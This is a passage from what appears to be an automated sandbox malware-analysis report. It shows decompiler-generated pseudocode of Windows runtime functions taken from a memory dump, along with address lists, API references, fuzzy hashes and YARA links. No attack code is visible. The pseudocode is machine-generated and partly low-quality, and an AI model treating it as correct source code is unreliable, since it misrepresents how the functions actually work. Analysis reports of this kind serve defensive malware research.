											 *(_t171 + 0x10) = _t185;
										}
										break;
									}
									L32:
									if((_t158 & 0x00000002) != 0) {
										if(_t167[4] != _t185) {
											goto L33;
										}
										_t167[4] =  *(_t191 + 0xc);
										_t167[0xe] =  *(_t191 + 0x18);
										goto L21;
									}
									L33:
									if((_t158 & 0x00000001) == 0 || _t167[8] != _t185) {
										L15:
										_t188 = _t188 + 1;
										while(1) {
											L13:
											 *(_t191 - 0x20) = _t188;
											if(_t188 >=  *0x6aa06da4) {
												RtlImageNtHeader(_t176 & 0xfffffffc);
												if(_t120 != 0) {
													 *(_t191 - 0x2c) =  *(_t120 + 0x58);
													_t179 =  *0x6aa06da4 << 5;
													_t162 =  *0x6aa06da0;
													 *(_t179 + _t162 + 4) =  *(_t191 - 0x24);
													 *(_t179 + _t162 + 8) =  *(_t191 + 0xc);
													_t159 = _t158 & 0x00000001;
													if(_t159 != 0) {
														_t124 =  *(_t191 - 0x1c);
														if(_t124 == 0) {
															_t125 = _t185;
														} else {
															_t125 =  *_t124;
														}
														 *(_t179 + _t162 + 0x10) = _t125;
														_t126 =  *(_t191 + 8);
														if(_t126 != 0) {
															_t185 =  *_t126;
														}
														 *(_t179 + _t162 + 0x14) = _t185;
														 *(_t179 + _t162 + 0x18) =  *(_t191 + 0x1c);
													} else {
														 *(_t179 + _t162 + 0x10) = _t185;
														 *(_t179 + _t162 + 0x14) = _t185;
														 *(_t179 + _t162 + 0x18) = _t185;
													}
													 *((short*)(_t162 + _t179)) =  *((intOrPtr*)(_t191 + 0x10));
													 *(_t179 + _t162 + 0xc) =  *(_t191 - 0x2c);
													 *(_t179 + _t162 + 0x1c) =  *(_t191 + 0x18);
													if( *0x6aa06db0 != 0) {
														if(_t159 != 0) {
															_t189 = _t188 << 5;
															if(E6A9A6652(_t162 + _t189, 1) >= 0 && ( *0x6aa06db0 & 0x00000002) != 0) {
																_t132 =  *0x6aa06da0;
																if( *((intOrPtr*)(_t189 + _t132 + 0x1c)) == 0xc0000019) {
																	 *( *(_t191 - 0x1c)) =  *(_t189 + _t132 + 0x10);
																}
															}
														}
													}
													 *0x6aa06da4 =  *0x6aa06da4 + 1;
												}
												goto L21;
											}
											_t166 = _t188 << 5;
											 *(_t191 - 0x2c) = _t166;
											_t167 =  *0x6aa06da0 + _t166;
											if(_t167[2] == _t176) {
												goto L32;
											}
											goto L15;
										}
										goto L21;
									} else {
										_t120 =  *_t167 & 0x0000ffff;
										if(_t120 ==  *((intOrPtr*)(_t191 + 0x10)) || _t120 == 0) {
											_t160 =  *(_t191 - 0x1c);
											_t167[8] =  *_t160;
											_t135 =  *(_t191 + 8);
											if(_t135 != 0) {
												_t185 =  *_t135;
											}
											_t167[0xa] = _t185;
											 *_t167 =  *((intOrPtr*)(_t191 + 0x10));
											_t167[0xe] =  *(_t191 + 0x18);
											_t167[0xc] =  *(_t191 + 0x1c);
											if( *0x6aa06db0 != 0 && E6A9A6652(_t167, 1) >= 0 && ( *0x6aa06db0 & 0x00000002) != 0) {
												_t168 =  *0x6aa06da0;
												_t140 =  *(_t191 - 0x2c);
												if( *((intOrPtr*)(_t140 + _t168 + 0x1c)) == 0xc0000019) {
													 *_t160 =  *(_t140 + _t168 + 0x10);
												}
											}
											goto L21;
										} else {
											goto L15;
										}
									}
								}
							}
						} else {
							if((_t158 & 0x00000010) != 0) {
								if( *0x6aa06db0 != 0 &&  *((intOrPtr*)(_t171 + 0x14)) != 0 &&  *((intOrPtr*)(_t171 + 0x14)) != 0xffffffff) {
									E6A9A6652(_t171, 0);
								}
							}
							L8:
							_t187 = _t187 + 1;
							continue;
						}
					}
					if((_t158 & 0x00000010) != 0) {
						goto L21;
					}
					if( *0x6aa06da0 == 0) {
						_t120 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x400);
						if(_t120 == 0) {
							goto L21;
						} else {
							 *0x6aa06da0 = _t120;
							 *0x6aa06da8 = 0x20;
							L12:
							_t188 = _t185;
							_t176 =  *(_t191 - 0x24);
							goto L13;
						}
					}
					_t120 =  *0x6aa06da8;
					if( *0x6aa06da4 >= _t120) {
						_t120 = RtlReAllocateHeap( *( *[fs:0x30] + 0x18), 8,  *0x6aa06da0, _t120 + 0x20 << 5);
						if(_t120 == 0) {
							goto L21;
						}
						 *0x6aa06da0 = _t120;
						 *0x6aa06da8 =  *0x6aa06da8 + 0x20;
					}
					goto L12;
				}
			}

0x6a94da88
0x6a94da8a
0x6a94da8f
0x6a94da94
0x6a94da99
0x6a94da9e
0x6a94dbe5
0x6a94dbe5
0x6a94dbdd
0x6a94dbe2
0x6a94dbe2
0x6a94daa4
0x6a94daad
0x00000000
0x6a94dac0
0x6a94dac2
0x6a94dac5
0x6a94dac8
0x6a94dbeb
0x00000000
0x6a94dbf1
0x00000000
0x6a94dbf1
0x6a94dbeb
0x6a94dace
0x6a94dad3
0x6a94dad8
0x6a94dada
0x6a94dadd
0x6a94dadf
0x6a94dadf
0x6a94dae8
0x00000000
0x00000000
0x6a94daec
0x6a94daef
0x6a94daf2
0x6a94dafe
0x6a94dbf6
0x6a98b245
0x6a94dbcf
0x6a94dbcf
0x6a94dbd6
0x6a94dbdb
0x00000000
0x6a94dbdb
0x6a98b24b
0x6a94dc00
0x00000000
0x6a94dc10
0x6a94dc10
0x6a94dc17
0x00000000
0x6a94dc26
0x6a98b253
0x6a98b258
0x6a98b28a
0x6a98b28a
0x6a98b290
0x6a98b29a
0x6a98b29c
0x6a98b2a1
0x6a98b2ab
0x6a98b2ab
0x00000000
0x6a98b25a
0x6a98b25d
0x6a98b274
0x6a98b275
0x6a98b277
0x6a98b27c
0x6a98b281
0x6a98b283
0x6a98b285
0x6a98b285
0x00000000
0x6a98b281
0x6a98b263
0x6a98b269
0x6a98b269
0x00000000
0x6a98b263
0x6a94dc2b
0x6a94dc2e
0x6a98b318
0x00000000
0x00000000
0x6a98b321
0x6a98b327
0x00000000
0x6a98b327
0x6a94dc34
0x6a94dc37
0x6a94db5e
0x6a94db5e
0x6a94db3c
0x6a94db3c
0x6a94db3c
0x6a94db45
0x6a94db65
0x6a94db6c
0x6a94db71
0x6a94db7a
0x6a94db7d
0x6a94db86
0x6a94db8d
0x6a94db91
0x6a94db94
0x6a94dcc2
0x6a94dcc7
0x6a94dcf3
0x6a94dcc9
0x6a94dcc9
0x6a94dcc9
0x6a94dccb
0x6a94dccf
0x6a94dcd4
0x6a94dcd6
0x6a94dcd6
0x6a94dcd8
0x6a94dcdf
0x6a94db9a
0x6a94db9a
0x6a94db9e
0x6a94dba2
0x6a94dba2
0x6a94dbaa
0x6a94dbb1
0x6a94dbb8
0x6a94dbc3
0x6a98b36f
0x6a98b375
0x6a98b383
0x6a98b396
0x6a98b3a3
0x6a98b3b0
0x6a98b3b0
0x6a98b3a3
0x6a98b383
0x6a98b36f
0x6a94dbc9
0x6a94dbc9
0x00000000
0x6a94db6c
0x6a94db49
0x6a94db4c
0x6a94db4f
0x6a94db58
0x00000000
0x00000000
0x00000000
0x6a94db58
0x00000000
0x6a94dc46
0x6a94dc46
0x6a94dc4d
0x6a94dc58
0x6a94dc5d
0x6a94dc60
0x6a94dc65
0x6a94dc67
0x6a94dc67
0x6a94dc69
0x6a94dc70
0x6a94dc76
0x6a94dc7c
0x6a94dc86
0x6a98b34b
0x6a98b351
0x6a98b35c
0x6a98b366
0x6a98b366
0x6a98b35c
0x00000000
0x00000000
0x00000000
0x00000000
0x6a94dc4d
0x6a94dc37
0x6a94dc17
0x6a94db04
0x6a94db07
0x6a98b2b9
0x6a98b2d5
0x6a98b2d5
0x6a98b2b9
0x6a94db0d
0x6a94db0d
0x00000000
0x6a94db0d
0x6a94dafe
0x6a94db13
0x00000000
0x00000000
0x6a94db20
0x6a94dca1
0x6a94dca8
0x00000000
0x6a94dcae
0x6a94dcae
0x6a94dcb3
0x6a94db37
0x6a94db37
0x6a94db39
0x00000000
0x6a94db39
0x6a94dca8
0x6a94db26
0x6a94db31
0x6a98b2f7
0x6a98b2fe
0x00000000
0x00000000
0x6a98b304
0x6a98b309
0x6a98b309
0x00000000
0x6a94db31

APIs

RtlAcquireSRWLockExclusive.1105(6AA0861C,6A9F0268,00000020,6A92BE44,?,00000000,?,00000001,00000000,?,000002BE,?,?,?,?), ref: 6A94DAD3
RtlImageNtHeader.1105(00000001,6AA0861C,6A9F0268,00000020,6A92BE44,?,00000000,?,00000001,00000000,?,000002BE,?,?,?,?), ref: 6A94DB65
RtlAllocateHeap.1105(?,00000008,00000400,6AA0861C,6A9F0268,00000020,6A92BE44,?,00000000,?,00000001,00000000,?,000002BE,?,?), ref: 6A94DCA1

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AcquireAllocateExclusiveHeaderHeapImageLock
String ID:
API String ID: 1783064793-0
Opcode ID: b2b1b889bd216a3d203b49d652e0f54215b303e166fc5ed4b0f7962f3fb1bfc3
Instruction ID: 7e6efaf5645f9fc54213a1a99831438da76eb552804f170ebfea2ad7c77d4b10
Opcode Fuzzy Hash: b2b1b889bd216a3d203b49d652e0f54215b303e166fc5ed4b0f7962f3fb1bfc3
Instruction Fuzzy Hash: 5CA12278A087059FEB558F28C490799B7F4FF0A358F35855ED8219B392DBB1D882CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A9238A4, Relevance: 9.2, APIs: 6, Instructions: 246
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6A9238A4(char __ecx, WCHAR* __edx, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16, intOrPtr* _a20) {
				void* _v20;
				intOrPtr _v24;
				void* _v28;
				signed short _v32;
				void* _v36;
				char _v40;
				char _v44;
				signed short _v48;
				void* _v56;
				intOrPtr _v60;
				void* _v64;
				WCHAR* _v68;
				intOrPtr _v72;
				WCHAR* _v76;
				signed int _v80;
				void* _v84;
				void* _v88;
				void* _v92;
				void* _v100;
				void* _t98;
				signed short _t99;
				short _t104;
				void* _t110;
				signed short _t120;
				signed int _t121;
				intOrPtr* _t122;
				WCHAR* _t135;
				signed char _t138;
				signed int _t139;
				signed int _t140;
				intOrPtr* _t141;
				void* _t145;
				char _t146;
				WCHAR* _t148;
				void* _t155;
				short* _t161;
				intOrPtr _t163;
				signed int _t166;
				signed short _t171;
				signed short _t174;
				WCHAR* _t176;
				intOrPtr _t178;
				signed int _t179;
				void* _t181;

				_t181 = (_t179 & 0xfffffff8) - 0x34;
				_v44 = __ecx;
				_t98 = _a4 + _a4;
				_v36 = _t98;
				_t174 = 0;
				_v48 = 0;
				_v32 = 0;
				_v56 = 0xffffffff;
				_t135 = __edx;
				_v40 = __edx;
				_t171 = 0;
				if(_t98 <= 0 || __edx == 0 || _a20 == 0 || (_a12 & 0xffffffe0) != 0) {
					_t99 = 0xc000000d;
				} else {
					_t145 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0xaa);
					_v36 = _t145;
					if(_t145 == 0) {
						_t99 = 0xc0000017;
						L26:
						return _t99;
					}
					_t146 = _v44;
					while( *_t135 != _t174 && _t146 > 0) {
						_t148 = _t135;
						_v60 = _t174;
						_t16 =  &(_t148[1]); // 0x2
						_t161 = _t16;
						do {
							_t104 =  *_t148;
							_t148 =  &(_t148[1]);
						} while (_t104 != _t174);
						_v24 = (_t148 - _t161 >> 1) + (_t148 - _t161 >> 1);
						RtlInitUnicodeString( &_v20, _t135);
						_push( &_v68);
						if((_a8 & 0x00000004) != 0) {
							if(RtlUnicodeStringToInteger( &_v28, 0x10, ??) < 0) {
								L52:
								_t135 =  &(_t135[1]) + _v44;
								_t110 = 0xfffffffe;
								_t146 = _v64 + _t110 - _v44;
								_v68 = _t135;
								_v64 = _t146;
								if(_t135 != 0) {
									continue;
								}
								break;
							}
							_t176 = _v80;
							if(_t176 == 0x1000 || _t176 == 0x1400 || _t176 == 0x400 || _t176 == 0xc00 || _t176 == 0x800 || _t176 == 0x7f) {
								if((_a12 & 0x00000004) != 0) {
									goto L51;
								}
								if((_a12 & 0x00000008) == 0) {
									goto L47;
								}
								_t171 = 0xc00000bb;
								break;
							} else {
								L47:
								_v36 = _v56;
								_v40 = 0xaa0000;
								if(E6A923B30(_t176,  &_v40) == 0 || (_a12 & 0x00000002) == 0 && (_t176 == 0x1000 || _t176 == 0x1400)) {
									L51:
									_t174 = 0;
									goto L52;
								} else {
									L14:
									_t138 = 1;
									_v76 = _t176;
									L15:
									if(E6A923AD2(_v72, _t138 & 0x000000ff, _v76,  &_v84) < 0) {
										if((_a8 & 0x00000002) != 0) {
											L18:
											_t163 =  *_a20;
											if(_t163 == 0) {
												_t163 = E6A927608(1, _a12 & 0x00000001, _v72);
												 *_a20 = _t163;
												if(_t163 != 0) {
													goto L19;
												}
												L60:
												_t171 = 0xc0000017;
												break;
											}
											L19:
											_t120 =  *(_t163 + 4) & 0x0000ffff;
											_t155 = 0;
											_v48 = _t120;
											_t121 = _t120 & 0x0000ffff;
											 *(_t181 + 0x2c) = _t121;
											if(_t121 != 0) {
												_t122 =  *((intOrPtr*)(_t163 + 0x10));
												_t166 = _t138 & 0x000000ff;
												_t139 =  *(_t181 + 0x2c);
												_v80 = _t166;
												L30:
												while(1) {
													if( *_t122 == _t166) {
														if( *((intOrPtr*)(_t122 + 4)) == _t176) {
															L23:
															_t178 = _v60 + 1;
															_v60 = _t178;
															if(_t178 < _a16) {
																goto L28;
															}
															_t171 = 0;
															goto L25;
														}
													}
													_t155 = _t155 + 1;
													_t122 = _t122 + 6;
													_t163 =  *_a20;
													if(_t155 < _t139) {
														_t166 = _v80;
														continue;
													}
													_t140 = _v80;
													L21:
													if(_v48 >=  *((intOrPtr*)(_t163 + 6))) {
														_t163 = E6A9CDE80();
														 *_a20 = _t163;
														if(_t163 != 0) {
															goto L22;
														}
														goto L60;
													}
													L22:
													 *(( *(_t163 + 4) & 0x0000ffff) * 6 +  *((intOrPtr*)(_t163 + 0x10))) = _t140;
													_t141 = _a20;
													 *(( *( *_t141 + 4) & 0x0000ffff) * 6 +  *((intOrPtr*)( *_t141 + 0x10)) + 4) = _t176;
													 *( *_t141 + 4) =  *( *_t141 + 4) + 1;
													goto L23;
												}
											}
											_t140 = _t138 & 0x000000ff;
											goto L21;
										}
										L28:
										_t135 = _v68;
										goto L51;
									}
									if((_a8 & 0x00000010) == 0) {
										_t176 = _v84;
										_t138 = 2;
										_v76 = _t176;
									}
									goto L18;
								}
							}
						}
						_push( &_v28);
						if(E6A9243C0() == 0) {
							goto L52;
						}
						_t176 = _v68;
						if(_t176 == 0x1000 || _t176 == 0x1400) {
							if((_a12 & 0x00000002) == 0 || E6A91E50F( &_v64, _v60, _v24, 1,  &_v64) < 0) {
								goto L51;
							} else {
								_t176 = _v64;
								_t138 = 3;
								goto L15;
							}
						} else {
							goto L14;
						}
					}
					L25:
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v36);
					_t99 = _t171;
				}
			}

0x6a9238ac
0x6a9238b3
0x6a9238b7
0x6a9238bb
0x6a9238c0
0x6a9238c2
0x6a9238ca
0x6a9238ce
0x6a9238d3
0x6a9238d5
0x6a9238da
0x6a9238de
0x6a9780f3
0x6a923902
0x6a923918
0x6a92391a
0x6a923920
0x6a977fd1
0x6a923a5a
0x6a923a60
0x6a923a60
0x6a923926
0x6a92392a
0x6a92393b
0x6a92393d
0x6a923941
0x6a923941
0x6a923944
0x6a923944
0x6a923947
0x6a92394a
0x6a923957
0x6a923960
0x6a92396d
0x6a923972
0x6a977fe5
0x6a978071
0x6a978078
0x6a97807e
0x6a978083
0x6a978085
0x6a978089
0x6a97808f
0x00000000
0x00000000
0x00000000
0x6a978095
0x6a977feb
0x6a977ff5
0x6a978020
0x00000000
0x00000000
0x6a978026
0x00000000
0x00000000
0x6a978028
0x00000000
0x6a978032
0x6a978032
0x6a978036
0x6a978040
0x6a97804f
0x6a97806f
0x6a97806f
0x00000000
0x6a9239a2
0x6a9239a2
0x6a9239a2
0x6a9239a4
0x6a9239a9
0x6a9239c0
0x6a923a67
0x6a9239d8
0x6a9239db
0x6a9239df
0x6a923ab7
0x6a923abc
0x6a923ac0
0x00000000
0x00000000
0x6a9780e9
0x6a9780e9
0x00000000
0x6a9780e9
0x6a9239e5
0x6a9239e5
0x6a9239e9
0x6a9239eb
0x6a9239ef
0x6a9239f2
0x6a9239f8
0x6a923a76
0x6a923a79
0x6a923a7c
0x6a923a80
0x00000000
0x6a923a85
0x6a923a88
0x6a9780c8
0x6a923a33
0x6a923a37
0x6a923a38
0x6a923a3f
0x00000000
0x00000000
0x6a923a41
0x00000000
0x6a923a41
0x6a9780ce
0x6a923a91
0x6a923a92
0x6a923a95
0x6a923a99
0x6a923acb
0x00000000
0x6a923acb
0x6a923a9b
0x6a9239fd
0x6a923a05
0x6a9780da
0x6a9780df
0x6a9780e3
0x00000000
0x00000000
0x00000000
0x6a9780e3
0x6a923a0b
0x6a923a15
0x6a923a19
0x6a923a28
0x6a923a2f
0x00000000
0x6a923a2f
0x6a923a85
0x6a9239fa
0x00000000
0x6a9239fa
0x6a923a6d
0x6a923a6d
0x00000000
0x6a923a6d
0x6a9239ca
0x6a9239cc
0x6a9239d1
0x6a9239d3
0x6a9239d3
0x00000000
0x6a9239ca
0x6a97804f
0x6a977ff5
0x6a923978
0x6a923980
0x00000000
0x00000000
0x6a923986
0x6a923990
0x6a97809e
0x00000000
0x6a9780b8
0x6a9780b8
0x6a9780bd
0x00000000
0x6a9780bd
0x00000000
0x00000000
0x00000000
0x6a923990
0x6a923a43
0x6a923a53
0x6a923a58
0x6a923a58

APIs

RtlAllocateHeap.1105(?,00000008,000000AA,00000007,00000000,00000000,00000000,00000000,?,?,PreferredUILanguages,00000000,00020019,00000018,?), ref: 6A923913
RtlInitUnicodeString.1105(?,00000000,?,00000008,000000AA,00000007,00000000,00000000,00000000,00000000,?,?,PreferredUILanguages,00000000,00020019,00000018), ref: 6A923960
RtlCultureNameToLCID.1105(?,000000AA,?,00000000,?,00000008,000000AA,00000007,00000000,00000000,00000000,00000000,?,?,PreferredUILanguages,00000000), ref: 6A923979
RtlFreeHeap.1105(?,00000000,?,?,00000008,000000AA,00000007,00000000,00000000,00000000,00000000,?,?,PreferredUILanguages,00000000,00020019), ref: 6A923A53

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateCultureFreeInitNameStringUnicode
String ID:
API String ID: 3431183669-0
Opcode ID: 74f7cbef4658aaa41d8116a5e8e660c2874a3b3c6bc41ec9a86e3a9d0c706b81
Instruction ID: 7ebb6ffe818b2bc05b04c0eb4ef12ed903636cd6b7d635df885fee1dcc187e6c
Opcode Fuzzy Hash: 74f7cbef4658aaa41d8116a5e8e660c2874a3b3c6bc41ec9a86e3a9d0c706b81
Instruction Fuzzy Hash: 6F91E3716183458FE718DF28C4807ABB7E5BF95354F21892DF8A587295DB30C885C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6A915AC0, Relevance: 9.2, APIs: 6, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E6A915AC0(signed char _a4, long _a8, signed int _a12, void* _a16, void* _a20) {
				signed int _v8;
				void _v1036;
				char _v1037;
				char _v1038;
				signed int _v1044;
				long _v1048;
				char _v1052;
				signed int _v1056;
				void* _v1060;
				void* _v1064;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t76;
				signed int _t81;
				void* _t92;
				signed int _t111;
				signed char _t122;
				void* _t135;
				signed int _t136;
				void* _t144;
				long _t145;
				signed int _t147;

				_v8 =  *0x6aa0d360 ^ _t147;
				_t76 = _a16;
				_t140 = _a12;
				_t145 = _a8;
				_v1064 = _t76;
				_t144 = _a20;
				_v1060 = _t144;
				if(_t145 == 0 || _t144 == 0 ||  *_t144 < 0 || _t140 < 0xffffffff ||  *_t144 > 0 && _t76 == 0) {
					L46:
					_t77 = 0xc000000d;
					goto L18;
				} else {
					_t122 = _a4;
					if((_t122 & 0xfffffff0) != 0) {
						goto L46;
					}
					if(_t140 == 0xffffffff) {
						_t140 = 0x203;
						if(E6A92347D(_t145, 0x203,  &_v1056) < 0) {
							L23:
							_t77 = 0xc0000716;
							L18:
							return E6A95B640(_t77, _t122, _v8 ^ _t147, _t140, _t144, _t145);
						}
						_t140 = _v1056 + 1;
					}
					_t81 =  *(_t145 + _t140 * 2 - 2) & 0x0000ffff;
					_v1044 = _t81;
					if(_t81 == 0) {
						_t140 = _t140 - 1;
					}
					_v1048 = 0x1ff;
					_v1056 = _t122 & 0x00000004;
					if(E6A915C07(_t145, _t140,  &_v1036,  &_v1048, (_t122 >> 0x00000001 & 0 | (_t122 & 0x00000004) != 0x00000000) & 0x000000ff, _t122 >> 0x00000001 & 1,  &_v1038,  &_v1052) < 0) {
						goto L18;
					} else {
						_t145 = _v1048;
						if(_v1044 == 0) {
							if(_t145 >= 0x1ff) {
								goto L23;
							}
							_t92 = _t145 + _t145;
							_t145 = _t145 + 1;
							_v1048 = _t145;
							if(_t92 >= 0x3fe) {
								E6A95B75A();
								L29:
								if(_v1056 == 0 || E6A9CB0D0( &_v1036, 1,  &_v1036, _v1052 -  &_v1036 >> 1,  &_v1037) >= 0 && _v1037 != 0) {
									_t140 = _v1052 -  &_v1036 >> 1;
									if(_t140 >= _t145 - (0 | _v1044 == 0x00000000)) {
										L13:
										_t135 = _v1064;
										if(_t135 == 0 ||  *_t144 == 0) {
											L17:
											 *_t144 = _t145;
											_t77 = 0;
											goto L18;
										} else {
											if(_t145 >  *_t144) {
												_t77 = 0xc0000023;
												goto L18;
											}
											memcpy(_t135,  &_v1036, _t145 + _t145);
											goto L17;
										}
									}
									_t145 = _t145 - (0 | _v1044 == 0x00000000) + 1 - _t140;
									_v1044 = _v1052 + 2;
									_t144 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t145);
									if(_t144 != 0) {
										_t140 = _v1044;
										_t136 = 0;
										if(_t145 <= 0) {
											L39:
											if(E6A9CB0D0(_t136, _t122, _t140, _t145,  &_v1037) < 0 || _v1037 == 0) {
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t144);
												goto L23;
											} else {
												_t111 = 0;
												if(_t145 <= 0) {
													L45:
													RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t144);
													_t145 = _v1048;
													_t144 = _v1060;
													goto L13;
												} else {
													goto L42;
												}
												do {
													L42:
													if( *((char*)(_t144 + _t111)) == 1) {
														_t140 = 0xffe0;
														 *((intOrPtr*)(_v1044 + _t111 * 2)) =  *((intOrPtr*)(_v1044 + _t111 * 2)) + 0xffe0;
													}
													_t111 = _t111 + 1;
												} while (_t111 < _t145);
												goto L45;
											}
										} else {
											goto L36;
										}
										do {
											L36:
											if(( *(_t140 + _t136 * 2) & 0x0000ffff) + 0xffffffbf <= 0x19) {
												 *(_t140 + _t136 * 2) =  *(_t140 + _t136 * 2) + 0x20;
												 *((char*)(_t144 + _t136)) = 1;
											}
											_t136 = _t136 + 1;
										} while (_t136 < _t145);
										goto L39;
									}
									_t77 = 0xc0000017;
									goto L18;
								} else {
									goto L23;
								}
							}
							 *((short*)(_t147 + _t92 - 0x408)) = 0;
						}
						if((_t122 & 0x00000008) != 0 || _v1038 != 0) {
							goto L13;
						} else {
							goto L29;
						}
					}
				}
			}

0x6a915ad2
0x6a915ad5
0x6a915ad8
0x6a915add
0x6a915ae0
0x6a915ae7
0x6a915aea
0x6a915af2
0x6a9712e6
0x6a9712e6
0x00000000
0x6a915b1f
0x6a915b1f
0x6a915b28
0x00000000
0x00000000
0x6a915b31
0x6a971142
0x6a971151
0x6a971170
0x6a971170
0x6a915bed
0x6a915bfd
0x6a915bfd
0x6a971159
0x6a971159
0x6a915b37
0x6a915b3e
0x6a915b47
0x6a97117a
0x6a97117a
0x6a915b53
0x6a915b70
0x6a915b9a
0x00000000
0x6a915b9c
0x6a915ba4
0x6a915baa
0x6a971186
0x00000000
0x00000000
0x6a971188
0x6a97118b
0x6a97118c
0x6a971197
0x6a9711a8
0x6a9711ad
0x6a9711b4
0x6a9711f5
0x6a971207
0x6a915bc2
0x6a915bc2
0x6a915bca
0x6a915be9
0x6a915be9
0x6a915beb
0x00000000
0x6a915bd1
0x6a915bd3
0x6a915c00
0x00000000
0x6a915c00
0x6a915be1
0x00000000
0x6a915be6
0x6a915bca
0x6a971225
0x6a971227
0x6a97123e
0x6a971242
0x6a97124e
0x6a971254
0x6a971258
0x6a971275
0x6a971291
0x6a97116b
0x00000000
0x6a9712a4
0x6a9712a4
0x6a9712a8
0x6a9712c4
0x6a9712d0
0x6a9712d5
0x6a9712db
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9712aa
0x6a9712aa
0x6a9712ae
0x6a9712b6
0x6a9712bb
0x6a9712bb
0x6a9712bf
0x6a9712c0
0x00000000
0x6a9712aa
0x00000000
0x00000000
0x00000000
0x6a97125a
0x6a97125a
0x6a971265
0x6a971267
0x6a97126c
0x6a97126c
0x6a971270
0x6a971271
0x00000000
0x6a97125a
0x6a971244
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9711b4
0x6a97119b
0x6a97119b
0x6a915bb3
0x00000000
0x00000000
0x00000000
0x00000000
0x6a915bb3
0x6a915b9a

APIs

memcpy.1105(?,?,00000200,?,000001FF,?,?,?,?), ref: 6A915BE1

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 012349c1f8b1723dc286a27023237b20c0b0b242484d3d9dae9035470b11f4f1
Instruction ID: 7d0cb23f7780cf4268ec18722fa83fa4ba86afb9f896136019054d6f983a414a
Opcode Fuzzy Hash: 012349c1f8b1723dc286a27023237b20c0b0b242484d3d9dae9035470b11f4f1
Instruction Fuzzy Hash: 2A81C2B1A0411D9FDB308A28CD90BDA73B8EB45314F3241A9DA15E7291EF74DEC18BB4

Uniqueness

Uniqueness Score: -1.00%

Function 6A9E2EF7, Relevance: 9.2, APIs: 6, Instructions: 183
timeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 35%

			E6A9E2EF7(void* __ecx, signed int __edx, void* _a8, signed int _a12) {
				char _v5;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v44;
				signed int _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v60;
				signed int _v64;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t62;
				void* _t71;
				signed int _t94;
				signed int _t105;
				signed int _t106;
				void* _t107;
				signed int _t114;
				signed int _t115;
				signed int _t141;
				signed int _t142;
				signed char _t145;
				signed char _t146;
				void* _t154;
				signed int _t155;
				void* _t156;
				signed int _t160;
				signed int _t164;
				void* _t165;
				signed int _t172;
				signed int _t174;

				_push(__ecx);
				_push(__ecx);
				_t105 = __edx;
				_t154 = __ecx;
				_t160 =  *__edx ^ __edx;
				_t141 =  *(__edx + 4) ^ __edx;
				if(( *(_t160 + 4) ^ _t160) != __edx || ( *_t141 ^ _t141) != __edx) {
					_t114 = 3;
					asm("int 0x29");
					_t174 = (_t172 & 0xfffffff8) - 0x24;
					_t62 =  *0x6aa0d360 ^ _t174;
					_v32 = _t62;
					_push(_t105);
					_push(_t160);
					_t106 = _t114;
					_t115 = _v20;
					_push(_t154);
					_t155 = _t141;
					_t142 = _v16;
					__eflags = _t115;
					if(__eflags != 0) {
						asm("bsf esi, ecx");
					} else {
						asm("bsf esi, edx");
						_t62 = (_t62 & 0xffffff00 | __eflags != 0x00000000) & 0x000000ff;
						__eflags = _t62;
						if(_t62 == 0) {
							_t160 = _v44;
						} else {
							_t160 = _t160 + 0x20;
						}
					}
					__eflags = _t142;
					if(__eflags == 0) {
						asm("bsr eax, ecx");
					} else {
						asm("bsr ecx, edx");
						if(__eflags == 0) {
							_t62 = _v44;
						} else {
							_t27 = _t115 + 0x20; // 0x20
							_t62 = _t27;
						}
					}
					_v56 = (_t160 << 0xc) + _t155;
					_v60 = _t62 - _t160 + 1 << 0xc;
					_t71 = E6A95D0F0(1, _t62 - _t160 + 1, 0);
					asm("adc edx, 0xffffffff");
					_v52 = E6A95D0F0(_t71 + 0xffffffff, _t160, 0);
					_v48 = 0;
					_v44 = _t155 + 0x10;
					E6A932280(_t155 + 0x10, _t155 + 0x10);
					__eflags = _a12;
					_push(_v64);
					_push(_v60);
					_push( *((intOrPtr*)(_t106 + 0x20)));
					if(_a12 == 0) {
						 *0x6aa0b1e0();
